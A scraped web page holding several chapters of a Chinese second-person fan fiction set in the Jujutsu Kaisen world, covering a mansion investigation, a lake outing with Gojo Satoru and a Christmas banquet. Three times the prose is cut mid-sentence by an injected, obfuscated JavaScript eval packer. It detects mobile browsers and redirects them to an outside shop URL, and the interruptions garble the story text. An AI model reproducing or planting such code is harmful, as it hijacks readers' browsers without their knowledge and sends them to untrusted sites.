;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664984|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人会傻到故意烫自己,烧焦的咒灵碎屑消失在空气中,如同一撮盐融入水:“安息吧,每一种变化都是一种解放。” 你摊开手掌,凝视自己的伤口。 你认为,你和铸炉有缘,可以好好培养。 你尝试在出门前用反转术式疗愈伤口,然而最多使虎口结痂:灰色的痂痕与在那之下淡粉的肉色,不算美观。不过美观什么也不是。 你开门,门口是等了许久正在不满的五条悟,他准备控诉你,却先一步看见手上伤口。 “怎么了?” “这个啊,”你抽开手,不紧不慢地嫁祸给受害灵:“不知怎么的,它害我烫伤。”两片月牙一样的C型伤口,拢起刚好并成一个圆。 他相信了,所以才能说出:“你太不小心了。” 你对他想关心但说不出好话的情形不予理解,故意说:“谢前辈批评指正,我一定谨言慎行。” “你……”三言两语就掉到道德底谷,再说下去不知道要溃不成军到何种程度,五条转移了话题:“你刚为什么要那样叫我?” “这个呀,等到没人了再告诉你。”你斜眼看他,一般来说这样不太礼貌,可你一般也不笑,两者相加算是抵消:“接下来我就不祓除了,我们快快地结束然后去吃饭。” 你没说要离开,因为对有钱又高傲的人……你稍微了解他们的做派。 没了你的捣乱,接下来的半小时进程相当之快,男仆甚至在顶楼中间忍不住开口询问:“这位小哥,你这样看一眼就行吗?” “看过了,没东西。” 路上有几次,这个肩上火旺的天选之子试图用眼神勾起你的注意,你看到了但没搭理,结果最后还是让他问了出来。 你从手机里分神,抬头看见了他表情里仍存的质疑:“是没东西,接下来五间房,唔,还是四间来的,都没东西。如果不是没办法让你交差,我们这会应该已经在这里。” 你向他展示了硝子发来的午餐照片。 “那么,恶灵呢?”男仆又问你。 你明白了是之前你的话引起了一些误解,解铃还须系铃人,你眼睛也不眨就打起补丁:“如你所见,我的双手因为火焰而灼伤,这是祓除期间新添的伤疤。最主要的活动在几十分钟前就结束了。你可以如实上报管家。” 他的惶恐或许因你而起,但你觉得不完全是你的责任,前辈后半段浅尝辄止的敷衍探视更该站大头。可是五条无所知觉,他抱起胳膊看你,他的表情说你在胡扯,充满不屑。 对方拒绝承担起解释的另一半任务,但你心情很好,所以又接着安抚:“你还有什么疑虑吗,或者线索?” 男仆似乎想到了什么一样,表情凝滞,他肩膀震颤,左手狠狠握紧右边衣袖,而右手手指张开成爪,令你回忆起食尸鬼枯枝干柴一样伸长的手。 你和五条悟对视一眼,确认了共同的发现,他的表现反常。 由你继续提问:“你好?还在吗?” 男仆从惊栗状态回到现实,猛然回答你:“不!没什么问题。我这就带几位去用餐。”如果不是如梦初醒以后用力过猛的否决,你们作为前来调查人员的疑虑可以更少些。 你们连最后几件房间都没看。 在路上,男仆和你们的距离拉大,而他不同来时的样子,像是把你们的存在忘了一样走在前面。五条悟就是在这个时候问:“现在算是没人了吧?你快告诉我。” 甜丝丝的糖果香气直直冲撞到你脸上。 他根本无意掩饰自己的迫切。可你的态度是某种悬而未定的模棱两可:“嗯?你说那个啊。就当是……” 你停下脚步,紧接着台阶上木头被压迫的声音全数消抹,他的呼吸在后脑勺你一拳之外,鼻腔翕动的风吹过你的发梢,在侧脸乱拂过腮颊。 你说:“某种角色扮演吧。我们一点也不熟,所以请求你办事的时候要更谦恭有礼,这不是很有趣吗?” 你在最后一字一句又轻轻呼唤他。五、条、同、学。 27. 第 27 章 你挑逗了五条悟,你们彼此都知道。你们也都共同知道的一点是,五条悟此人拥有不弱的自尊心,不愿意令自己失掉作为主动者的尊严,表露出与你信手拈来并且任意姿态相差太远的生涩。 当他一只手拽住你的两个手腕并收拢,将你拉到他身上,几乎倾倒在他怀里的时候,你想,这也不是难以料想的事情。凡失去的,他必会夺取回。优势也是,主动权也是。 “前辈有何指教?” “这种时候你偏偏游刃有余--铃木,你很擅长吗?”他质问你。 你的长发铺盖在他校服上,你无手,他无心,无人打理,而你在他胸前回答:“擅长?嗯,也算是吧。实话讲,这对我来说不啻天赋。” 他的另一只手勒住你的腰,现在你们靠的更紧了:“你说这些的时候,难道没有羞耻心吗?” 你被他圈得不舒服,请他醒醒:“如果他人不羞耻,那我也没有此必要。以及,我并没有在暗示【曾经我引诱了许多人】这件事,你想的太多了,前辈。” 你推开他,正了脸色:“当我什么也没有的时候,我不问为何他人有而我无,如果那个时候能有像你一样正义的强者出现在我面前并且说出【神会厚待他的每个子民】之类之类的话,最后帮忙改善下我的生活就好了。” 可惜这些好人很难遇到需要帮助时候的你。 同时,即使五条悟也能听懂的事实是:首先,你不相信有那种神;其次,他不是那种会对深陷泥泞的人施惠的正义强者。因此你在嘲讽他,意见一堆,帮助不大。 他被你含沙射影的两句话弄得无法反驳,如果此前你们之间有粉色的什么东西,现在也荡然无存。 你的半写实半讽刺意味准确传达给了五条悟。他不是故意要那样说你的,你也没受到分毫损伤,只不过你认为他应当知晓的一点是:他最好主动保持距离,如果不喜欢你那样。你无意拿准年轻人的想法,只断然判定他占有欲比较强。 他还太年轻,又是受瞩目的天才,一路顺遂,还不晓得世间的事情如海洋,会把即便不情愿的人也推上高浪的道理。 想他理解大部分人都在过的随波逐流的无常人生,你猜,再过十年再看吧?或者他实在受眷顾,竟然一声不吭就把这辈子过完,那你也只好说,有人的命运生来就和别人的两模两样。 你不是为了说教而开口,因此当他松手拉远距离,你得偿所愿,也就专注于前往餐厅,忽略这场插曲。后来,你们步行的距离可以塞下一根小别墅横梁。 你在午餐时保持了恰当的礼仪,食不言寝不语。这项礼仪被发明出来的时候,手机还没有诞生,所以定下规矩的人也难以料想竟然有人会在会见客户的时候还这样做。 忙于庶务的主人也终于见到了你们,这位年迈但精神矍铄的议员一番柔软话术算是留住了人,直到晚上,宴会结束,你们可以自行离开,或者住进打理良好的客房。 “小朋友们不用客气,接下来的小半天就当是观光游览。”他是这样说的,相当客气,还给你们四人准备了晚宴的礼服,邀请你们一同加入。 无趣的繁荣场所先不提,夏油杰问起疗养院里的近藤小姐境况,硝子询问能否让辅助监督也一同行动,至少别只让她待在会客厅。 孙女一切都好,他们当然会这么说,安保齐备、设施完善、只是精神状况欠佳,诸如此类。岩守也得到了更加妥善的招待。而你……你从食物和手机前抬起头,询问有没有已故模特小姐的照片。 当然,不是她生前给杂志社拍的封面那种。 虽然你在这个二年级的团队中行动,工作作风却完全与他们不同,你问的问题让人难堪,尤其是对方作为一位年长者还温和有礼。政经界掌握重权的老人向你微微颔首,表示自己不克久留,更多的信息请向管家和警方咨询,便离开,也算尽了地主之谊。 硝子问你为何如此失宜:“你今天状态不太对,星夏。从我们分开那时候就是,昨晚没睡好吗?” “今天发生了很多事,而且……”你余光看见了踏入房间的岩守知子,你本来打算说她坏话的,现在及时纠正:“从刚才起我就没看到那个男仆,之前在楼上的时候他表现不正常。我想这些人或许还知道什么。” 现在房间里还有几个无伤大雅的男仆女仆,不妨碍你说话:“起初我们是来执行任务的,而现在主要的当事人在其他咒术师或者辅助监督的看护下,可我们也没法离开,我觉得即便不身处案发现场,也能稍事调查。” 硝子对你点点头,但是她说:“我要去湖里划船。” 态度上支持,行动上选择半日闲。 五条悟紧接着发言,他还事先看你一眼,在你抬眼即将和他对视时转回目光,声音懒洋洋:“我也去。” 夏油杰作为最后一个要发表意见的人,立场就有些尴尬。他对你委婉劝说:“我认为这栋别墅称为城堡也不为过,想要进行详尽调查恐怕很难。不过下午还有些近藤先生和家眷的私人房间等待看察,如果你想去,我可以带上你。” 现在你突然就成了团队里最任性的人,然而你本意只是想找个替代敏感话题的由头,你冲夏油摇头:“那就不用了,恐怕他们其实也不希望有外人乱翻自己的东西。即便是高官发起的宴会,中途有什么变数,也只需要改期,平安夜只有这一天,那也无妨,可以提前通知改换场地--模特小姐上周就死亡了,那些不幸的征兆也持续了一阵。我想他们之所以还令宴会如期举办,并非出自对不熟悉领域高中生的相信,也不是由于侥幸。”只是恰巧有决策权的人决定继续将它推行。 但是到户外去看水啊……这个天气。你向左看,能见到室外凝结的霜花,晶莹剔透,在阳光下融化。再次得出结论:不是湖上泛舟的好季节,你也不委屈自己,接着说:“我就在会客室坐着消磨时间,如果那里的沙发够舒服还能睡个午觉。” 转眼间,你似乎又从桀骜不驯的刺头变回了温吞沉静的学妹。在冬天,你是懈怠的,并且昏昏欲睡。 但硝子在餐后又一次邀请了你:“我们还是决定要去划船,而且五条的无下限在水上很有趣的,不试试吗?” 这时你就和几十分钟前对尸体照片感兴趣的学生判若两人了,你没错过五条悟不自然的表情和侧过的脸。也许你可以偶尔体力过剩加入学生午后的嬉戏队伍,将冰寒和凉意纳入感官,你真的考虑过这点,但是终究,湖中浮舟一点的独特之景还有仅此季节能见到的蓝色浮冰在暗红的热茶和白色的热气衬托下黯然失色了。 “我会在会客室好好等着你们的。”你说,同时也承诺了其他有趣的事情:“我会跳舞,硝子前辈,在晚宴我们可以跳舞。” 她有点兴趣:“嗯?你会跳什么?” 你举起装着橙色果汁的高脚杯,指甲刮擦被布擦得晶亮的玻璃柱,与眼角细小的皱纹一同向她致意:“探戈。我跳的还不错。” 硝子长长地嗯了一声:“听起来很刺激,也许某天吧。”然后她向你摇摇手:“那我们三个走了,你和岩守女士要好好待在这里等我们。” “好的,一定。” 兜兜转转岩守女士刚离开会客厅,终究又折返会客厅--只不过和她一起的还有你,你们去了一个全新的,更大的会客厅,恰好就在今夜晚宴大厅隔壁。 是给社交累了的客人休憩的好地方。 你从高悬水晶灯外面刚拆的塑料袋上判断,这个展厅平时恐怕不经常用,但软垫沙发上的气味不同于冬天的阴湿,和你早上躺的床褥有一样的好闻香气。 你就在这个地方冷漠地看了一个小时仆役跑高跑低。最后他们还询问你是否要拉开窗帘让阳光照进来,你欣然同意,在那之后这个会客厅的【圣诞魔法添加】工作就结束,多了一颗巨大的圣诞树,点燃篝火壁炉,长桌上堆砌礼物装饰,还放好了除了菜肴以外的装饰--与先前对比。 你张开手接阳光的动作像是有蝴蝶翩跹落于掌心,岩守女士在他们即将离开的时候就像蜘蛛织网那样向你靠近,你认为她身上有违和之处,自然用不怀好意的想法揣测她,意图发现她正是你所想的那样不坏好意。 你们开始交谈。开端始于阳光。 “太阳真好啊。” “是呀,要不是已经在车上睡过一阵子,我都想再睡会了。” 不一会儿,聊天氛围渐入佳境。 “铃木同学是怎么看待要当前的任务指派的?” 点燃的烟,无论热力驱使下会飘多高,其终点依然是向下的,她开始行动。 你看了一眼圣诞树,最高点的星通体水晶,切割面在一小片墙上照射出明明暗暗的光:“还行吧,有点累,和前辈们一起有的时候不那么开心。”你在拟人,但看起来有点成功。 “没有办法,咒术师就是这样一份职业,一切为了任务和保护。” 她的话勾起你的共鸣:“是啊是啊,帮助别人也是我的梦想,岩守女士你是为什么想加入这行呢?” 分针在老钟上又走了半圈,表盘上没有一丝涟漪,不过你和岩守女士已经快成无话不谈的好朋友了。 “夏油前辈?他呀,虽然是受人尊敬的特级,但相处起来完全没有架子。说实话他很照顾我们这些后辈,无论是我还有七海灰原,我想,甚至是五条前辈都非常在意他。不过我还是最喜欢硝子前辈,毕竟是同门师姐一样的亲切人物。” 或许五条悟说的没错,你擅长提取关键词,更擅长扩写。你将话题可延续的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664985|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向分给abcdef六个选项,虽然其中有些概率不大,但你还是罗列出来任听者上当。 狡猾的岩守知子选了钝角。话题展开无关你的任何一个同学和前辈。 于是你在接下来的一段时间里和她研讨起了反转术式从入门到精通。谈起疗愈,你最擅长的话题终究离不开陪伴了你好些年的圣杯。 “我认为一切起源于犹太教逾越节,主人公恰好也是平安夜所指的那一位。门徒饮下了象征耶稣血的红葡萄酒,再后来我们就有了返老还童,死而复生的永生传说。”然而你深知凡间种种和历史上的一切,不过是漫宿司辰乃至其他居民在表层世界的倒影,圣杯即是赤杯,早于人类诞生之前,赤红教堂中的盛宴就开了数千万年。 然而,对你的胡言乱语一般表现出高认可度的岩守女士在这个时候端起日本人的骄傲,她说:“有趣的说法,可是咒术和咒力都只是自古以来集中在日本这片土地上的产物,即使是在现在,偶然在国外或者其他什么地方发现了咒术师,追根究源,他们往往也都流有我们的血脉。” 不管别的什么,她也许真的挺爱国的。你对英国的爱没有那么多。你认为这很有趣,所以一本正经和她论辩起来:“咒术的世家和记载最早爆发于平安时代(794-1192),看起来还是公元33年比较早些。” 随后你们又谈起了反转术式在历史上的运用,你逐渐发现,岩守女士说话真的很有趣,你竟然真的对她说的事情感兴趣起来。 你洗耳恭听,时不时给她的疑问和适时的停顿填补属于你的见解和猜想。 她比你的老师教学水平更高,毋庸置疑。不过你仍然没忘掉自己牺牲玩手机时间拧出来的空余是为了什么,你在接下来的对话中,添加了一点点……一点点圣杯元素。 咏叹的语调,内心的祝祷,还有就是,时刻保持真诚的眼神交流,虚心请教。 结果看来是喜人的,不相信西方神秘学的人也终究被它稍微影响。岩守仍然将话题控制在人物之外--你认为她是为某个人而来,起初你以为会是夏油杰,现在却也不太肯定了。不过她能在诱惑下自持,恰好说明背后的目的和秘密与她来历都成问题。 换成一般人早就全招了。 “所以,星夏同学,你现在是否认可反转术式是基于精密咒力操控而确实存在的有效治疗手段,比起信众众多而示现有限的西方奇观?”她的长难句,少会一点日语你都听不懂。 你对赤杯的传教和神话考据丝毫不执着,不仅是你,你的其他杯相同事领导也是如此。赤杯已经过了要在凡间宣扬教义以试图在漫宿站稳脚跟的阶段,更不用说基督教的主力军仍然在21世纪发热,就像几千万存在银行它自己就能不停滚动利息。 你立刻宣誓:“我认可,对了,怕你误会,其实我本人也不那么信仰基督,只是今天正好是大人物死而复生的日子。” 她看了你一眼,眼神里还有点惊讶:“……我理解,有关那个,其实耶稣复活的日子是复活节。圣诞节相传是他的生日。” 你吃惊地捂住嘴:“哎呀,竟然是这样吗?不过也有道理,因为那天叫做【复活】节。” 等你的前辈三人回来的时候,你和岩守女士肩并肩坐在沙发上,在聊创世纪里头她最喜欢的一段,诺亚方舟。 很狂信徒的爱好。 她的语调开始带有蛊惑诱惑的意味,你对这方面格外敏感,因此立刻察觉:“大洪水的传说共同被数个文明记载,但我觉得神选人类并排除剩下的那部分很迷人,因为昭示更好的未来。” 不是吧,真的假的? 所以你难得会露出的失措样子在这个冬天的温暖壁炉前惊现:“诶,可是这样的话,不是对被淹死的人很残忍吗?” 难以想象,你竟然成为了某个讨论里观念保守的人。 “一切都是为了最终的胜利--” “呦吼,很高兴你们相处愉快,我们划船回来了。这里可真暖和。”双颊因寒冷而红的前辈一屁股坐在你边上。 硝子的突然出声是午夜十二点的钟响,南瓜马车,仆从,都是已然消逝的幻象。 岩守不说话了。 她在清醒后看你的眼神复杂。随即很快收拾好态度,和几个学生告别,最后还额外感谢了你:“和你交谈很愉快,期待下次,星、夏同学。” 你的感官,也许是这个房间里独一份的敏锐,它曾经收到过三尖之门的祝福,也得到司辰的认可,所以当你感觉到岩守的眼神有如剥皮刀,她既不是在看死物,也不是在看活生生的人,而是对一个待研究机体的时候,你的呼吸都震颤了一瞬。 她很……特别。 你和她道别:“那是当然的,再见。” 28. 第 28 章 你撩拨了一个不清楚其底细并且在咒术高专藏得很深的女人,你们都知道这点,但好消息是,她还没想清楚事情的真相,甚至相差甚远,也不确定事情与你有关。只是无意之间关键信息薛定谔的败露,令她多疑且难堪。 想要排除大部分不合格的次品并且留下受选者……这里的背景又是高专,你觉得自己像是回到了二战的日耳曼。你没在德国逗留很久。 这种疯疯癫癫的事情不足以令你好奇,再说天塌下来还有总监部、特级、一级、职业咒术师顶着,总的来说与你无关。你打算无视今天的一切,这种设定你熟,对方既然有远大目标,就不会随意对小喽啰下手。在几轮试探以后你就安全了,然后她就会继续留个心眼然后投身到重要的事情上去。 她走后,你旁边的位置毫无疑问就属于硝子:“你们聊了什么?岩守女士看起来很开心。” 毕竟是梦想,有梦想谁都了不起,能不开心吗?你说:“主要是反转术式,我告诉她我精神伦敦人的事情,并且宣扬了一部分【有关治愈的传说西方早于东方】的思想,后来我们就聊了聊平安时代。文化课我听得不多,咒术史也是,我第一次才发现它那么有趣。” “暴露了哦,这不是在前辈们面前该说的事情。” “唉,做学生也挺难的。”你靠在沙发上,也让情绪从紧张刺激的事情中缓和下来。 “对了,你们刚在说什么淹死?” 唔,如果你是一无所知的学生,你要做的事情是…… 你讲受选者的故事告诉了硝子,透露了不多于你该意识到的岩守的态度。 “这样啊,如果是岩守说这句话我不会吃惊,经历了创伤就会拷问意义。”硝子撩了下头发:“倒是你今天突然变得耿直。你以前更加处变不惊一点。” 如果是一时气话你听过离谱千百倍的,问题这边她是实施ing哇。 一定有什么旋涡在水面下涌动,你确信的是这个,吃惊的也是这个。 至少在今早,她看起来有几分虚伪,但没有疯狂。 你心不在焉问硝子:“可是康子不是死于诅咒师吗?” …… 说完这句话以后,你反倒自己睁大了眼睛。你偶然的失态看在硝子眼中格外新鲜:“总归还是和非咒术师有关,如果他们没有那么多怨恨就好了。我偶尔也会那样设想,不只是她。” 你的敏锐偏偏在这种时候响应得格外快,现在你知道几周前的诅咒师袭击多半也和这些天启的小故事有关。你忘了很多事,但是经历过生活水平低下的年代,战争的年代,你能轻易嗅到欺骗的技巧和套路一样的狡诈。 近视者摘下眼镜依旧能凭轮廓认出熟人,只是你现在还处于眯着眼睛准备辨认的阶段。 你决定做一个睁大双眼的人。 “唔,硝子前辈说得对,房间里有点热,我想出去透口气。”如果你和他们一起去划船,说不定就有快乐的半天了。不过……不得不承认,岩守很会说话,也很博学,你不讨厌她。 你在湖边待到五条悟喊你回去试礼服。中间其实也没几分钟。 此处荒僻,从小门到岸边只有你的一串脚印,他开了无下限。精致的少年站在你几步远就停下,过了一会才和你说:“衣服送到了,你不是晚上还要和硝子跳舞么,去试试吧。” “嗯?她的意思不是后会无期吗?”你从雪地里抽出冻得通红的手指,丢下搓成的雪球,放在嘴边哈气,慢吞吞的说话声就穿过指尖缝隙到五条的耳朵里。 “……”他有些烦躁地低下头,意味不明地和你说:“我不是那个意思。” 你不用过多思考就晓得他是在说中午的小插曲,关于那个,你没放在心上,于是点点头:“嗯,我知道。只是表明我的态度,没有说你不好的意思。” 你让他不知道该说什么了。不过……正如你之前和硝子说的那样,今天发生了许多事情,当五条悟和你说话时,你已经不再处于能积极给予应答的点上了。 挺难的,如果他想要对准你的频道。 不过你很感激他,他在你往回走的时候在必经的点上对你伸出了手,你递了出去。 “指甲挺好看的。”他低头嘟囔着告诉你。 在他牵上你手后,寒冷就消散。 “谢谢。”两个都是,能承袭千年之久的术式一定有它的好处,战斗方面你理解的尚不透彻,但是生活上它的功用你羡慕不已。 “你……想去湖面上看看吗?”他在又走了两步后突然打破静默开口,在破除犹豫后,语速加快不少。 松软的雪和你的靴子间摩擦声停,你转过头问他:“不是说硝子前辈在等我?” 他耳朵红了,声音拔高:“你想不想去?” 与你交握的手力气变大,你的手掌被他捏着,可五条一点没意识到这点,正认真的看你,只在这白茫茫的空旷环境中等待你的回答。 你认为是他比较想和你去湖面。 你应允了他:“好啊,听起来似乎很有趣,现在中间有冰块吗?” “那你之前怎么不去?” “前辈,你从来就不知道见好就收,对不对?” 说完这句话后你就双脚离地,被他圈在怀里,头顶传来他不复紧张的声音:“啰嗦,还不是你前后不一。其实心里早就好奇地不得了了吧。” “没有。” “哼。” 你被放在湖中心,他嘱托你:“别怪我没提醒,记得不要松开我的手。你脚下的薄冰可支撑不了这么贪吃的身体。” 这对你来说……倒是独特的体验。 深不见底的水,表面折射阳光的冰,还有轻盈但如履平地的你们。 你有些好奇地在冰面上走几步,再后来你拉着五条悟的手试探性走上水面,连一点波纹都没有。你能在镜面的湖水上看见你们十指交握的倒影,还有他透过倒影看向你的眼眸。 你和五条悟在湖面对视了,他面容严肃,不知道在想什么,你对他招了招手。他转开去看湖边的山峦了。 过了一会,你发出一声叹息,他可能以为你要说什么重要的话,一下就偏头来看你。 你讲:“真是不公平啊,如果是别人自以为是说上一大通话绝对会被讨厌的。不过你就不会,五条前辈。” “这是什么话,你说清楚,不然我松手了。”他握紧你的手。 “我想,大概是因为你很强,而且长得很漂亮吧?”你客观分析了一通,得到了纯主观的结论:“慕强是人类的种族病,对容貌的偏好也一样,正好你没什么坏心,于是乎……我见过很多说话不太好听的人,他们都不如你过得好。” “……铃木!我可是特意带你到这来,你就要这样感谢前辈吗?” “嗯?前辈?”他才没把自己当前辈看呢,你就反问他:“真的吗?” “……” 你玩味的目光和他害羞但坦荡的目光撞在一起,谁也不相让,几个呼吸之后,他耍赖一样和你拥抱,错开目光,你们的校服贴在一块,他的嘴唇就靠在你耳旁。 “你是故意的吧,这样玩弄我。那种轻浮的夸赞,算什么啊!”似乎是特意不让你看见他的脸才这么做的,他满是不情愿问你。 “没有的事,只是你说话太不中听。我抽空思考了一下为什么不讨厌。”自然而然就得出了如上结论。 说到这里,他没忍住又拽你的头发,你不喜欢他那样,他也知道,但还是孩子气的那样做了:“那天,你居然只说出了三个优点,太敷衍了,我就这样不值得尊敬吗?你对杰好歹还恭敬不少。” 恭敬? 没有的事。 你被白发的少年搂在怀里,听见他几乎是为你而加速的心跳,然后你想起了夏油杰即使是在暗淡的晚上也……看起来比夜幕更忧郁的色泽。你认为他的眼眶干涩流不出眼泪,但润紫色的瞳孔仿佛随时能滴出水来。 你不会对这样的人恭敬的,五条悟看走了眼。 当然,这也不是说你对他就会恭敬,你也抬起下巴搭在他肩膀上,只为让口更近他的耳,并且告诉他:“前辈,你嘴唇也挺软的。” 五条悟的六眼能够看破许多难解的谜团,纵使如此,也有咒力难以穿透的暗礁和冰川,他气得呼吸乱了节拍。 他选了一句错误的反驳说辞:“你还是刚才眼睛像葡萄一样的时候比较可爱。” 说到这个…… 他看不见你的脸,否则就不会错过你怜悯的表情了。 如果知道你所知道的事情…… 你们回去的时候硝子已经挑好了礼服。 “他们给了我们挺多套,不是量体裁衣但各方面没得挑。比成衣店好。”这你可就有点兴趣了。 你在推来的衣架上左右挑选,最后相中了一条挂脖露背的花苞裙,款式稍微复古,长度不过脚踝,颜色深绿,裙面流光。 “不会冷吗?” “有突发情况方便跑路。”你把它的轮廓贴上自己的身体,拎在肩膀前,转了小半圈,裙摆贴着腿蹭过羊绒袜:“我就要它了。” 在那之后,你就没给其它的裙子眼神,只是在准备更换前,你出去了一趟。 硝子正在看一排侍从呈递的托盘中首饰:“我先挑了,顺便,不带它一起去隔壁吗?”她指的是你的裙子,她以为你要找地方更衣。 “不是,我先去趟厕所。如果我穿着礼服坐在马桶上……” “还有男士在场呢,你快去吧。”她选了一串钻石,你听见有人立刻称赞她眼光独到,此项链相传是18世纪西班牙王室某权贵的珍宝,后来流落到航路上,再之后被慧眼识珠终归于他们明智的主人之手。 你认为说话的人身份至少是女仆长,一下把所谓贵客和主家全夸了一遍,又恰到好处展现了自己的学问。 不过你的目标并不在此房中,步履匆匆的熟人已经转弯在墙根,你出门时正好看见他因为步幅过大而使裤脚上抬而露出的一截小腿。 你跟了上去。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664986|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 硝子抱怨你这次的厕所时间有些长了,你接到消息的时候正不紧不慢在洗手台边擦手。 铃木星夏:难得出入高档场所,有些紧张,抱着马桶吐了。 消息发送成功,你的脚步声逐渐覆盖了越来越小的、隔间传来的反胃声音。那是有人的迷走神经兴奋,肌肉痉挛,压迫喉管,最终呕吐的噪音。你没想到此人后劲这么大。 你只是……问了几个问题而已。 回忆起你们共享同一厕所隔间,酸腐的气味也在你鼻腔经过,你怀疑他的饮食并不健康。你给他下了最后一道诱惑:“总之,在你吐完之后收拾一下,然后忘掉刚才的一切。你只见过我一次,刚才从队伍里离开是因为身体不适,也许是先前目睹的奇异景象令你胆寒,也许你只是受不了服侍的家族里出了一个疯疯癫癫的继承者,但最终,一切都会过去,风平浪静。” 手机铃响把你唤回,你翻开盖,来自硝子的信息映入眼帘:谢谢你的幽默,现在,快回来。 你回:遵命。 挂脖的礼服无需项链点缀,你就是用这个理由谢绝了女仆长好意:“手环也不用了,它们看起来都很珍贵,我无意受用主家的藏品。” 贵客的礼遇实际上并不令你窘迫,你只是还没忘记自己前来的名义是高专。虽然晚宴是可以预期的盛大,你能看见他们一盆一盆地把不属于这个季节的繁花搬到大厅的各个角落,玫瑰色、淡金色、红色的绸缎将这里装饰得更加富丽堂皇。上午你能看见空旷,现在这就如同一根在天上飘荡的梦幻羽毛加以缀饰:美好的宝石、名贵的香料与令人神魂颠倒的活力。 硝子对你举起手背,矜贵的动作在华光下越发光彩照人:“这里还不错,不是吗?” 你手里捧着选定的柔软贵重布料,回过头微笑着告诉她:“是,我从没见过这么豪华的场合。” 正如你所预期的,今晚只有你轻装上阵,然后随便找个机会跑出去看看。 此时是下午4点,距离宾客盈门的预定节点,你以和上流社会交往的经验推测,还有不足1小时。 在更衣后再也没见过岩守女士,不过这也不是什么值得在意的大事件,你坐在硝子对旁边帮她以脂粉覆面。感谢来自女仆长的馈赠,这个像城堡一样的家里真是什么都有,他们甚至为了客人准备补妆用的各类用品。 她对镜中自我十分满意:“你还挺擅长化妆的,星夏。” “毕竟……到年纪了。”对于17岁姑娘来说这还算个新鲜事,对你则不然。不过他们研发出了很多新奇的玩意,你用着更趁手了。五条也不再对你偏好艳色的口红有什么指教,他只是视线在你嘴唇上定格两秒,然后问你: “你今年多大?” 你毫不犹豫:“18.” 显然,在场的四人都不相信。 硝子问道:“对了,说到这里,你的生日是什么时候?” “不记得了,总归是365天中的一天,每年好好过就行。”你从小就是一个人,现在也一样,所以条件允许时你从不亏待自己:“我希望每天都如同生日一样自我厚待。” 她又说起照相的事情:“如果你今天带了相机,我们就可以合照了。难得穿这么好的衣服,还有珠宝。” “说得对,告诉灰原这里有自助餐,然后让他送过来吧。” 你说完以后,你们看着彼此的眼睛笑起来。 女性的礼装尚且能用披肩与针线修饰,男性的西服却冷酷的多,未经定制的尺码与不合身的裁剪足以让费心思打造的上流感功亏一篑,好在五条瘦且高,夏油也瘦且高,他们的身形无需服装修饰,你可以在早春早秋的秀场上对如此身材的男性迎来送往。 只是一个客观事实,他们的身体比例就是标准本身。 不过你确信,夏油杰比你夏天刚见到他的时候瘦了一些。他的喉结更突出,身体更颀长。你的眼睛就是尺,之所以今天才发现,恐怕和他校服肥大的裤腿脱不开干系。 不是你说,但他的审美……像个不良。 在夏油的腰上多停顿一会,接下来五条悟的腿就挡镜头一样出现在你面前。你抬头看他的脸,他对你说:“你在发什么呆呢?” “没什么,你穿这个挺好看的,前辈。” 五条悟像一朵昭示雨的乌云,但乌云飘走了。被留下的人思路跳跃,他仍然在你身边站着,手指弹着外套下露出的白色衬衫之上袖扣--四周镶嵌钻石和石英的方形祖母绿宝石材质,成色上佳,可惜他们的主人没收藏海蓝色的款式,不过也许是收藏了但是因昂贵而不便外借也不一定……五条对待它的方式,好像这是不值钱的小物件。 此为活泼少年的问题:“你怎么会跳探戈的?” 以下是你的回答:“伦敦学的。” “不想说可以不说。” 你无意牵扯太久,问他:“你会吗?” “……” 从他的表情看,也许他有些期待与你共舞,然而……答案令人遗憾。 29. 第 29 章 你凭实力拒绝了一个没接受过舞蹈训练的贵公子,今天他看起来正和他的身份相称,不过这里是日本,咒术界也没受明治维新的影响,很正常。 你们在空旷只有仆人进进出出的休息厅一角度过了接下里的一阵子,管家中途抽空又见了你们一面,这次态度恭谦许多,从你们的待遇由【无异于修冻坏水管的打工仔】到【能令主人拿出藏品和服饰礼遇的客人】就足以说明,他年纪大了,信息也不灵通了。 一个出了丑而惶恐失权想要弥补的可怜人。 你吃着姜饼干夹焦糖蜂蜜,正好问他:“请问最近疲惫的大小姐那边,你们是怎么和总监部规划的?” 然后你得到答案,现下定点在市区疗养院观察的,是一名一级和几位辅助监督。对于没有咒力残余和特征的小继承人也算是有所投入。 职业咒术师的时间可是很宝贵的。 你点点头,还和颜悦色对他说了一句:“谢谢。” 直到六点,天色虽暗,室内的光照将淡蓝色的、红色的、紫罗兰色的大厅照映得灯火通明。你冲往来拿托盘的男仆盘子上拿起一杯香槟,看舞厅里宾客云集,年轻人很多,你还看到了一两个电影里青年演员的面孔,整体气氛欢快而惬意。 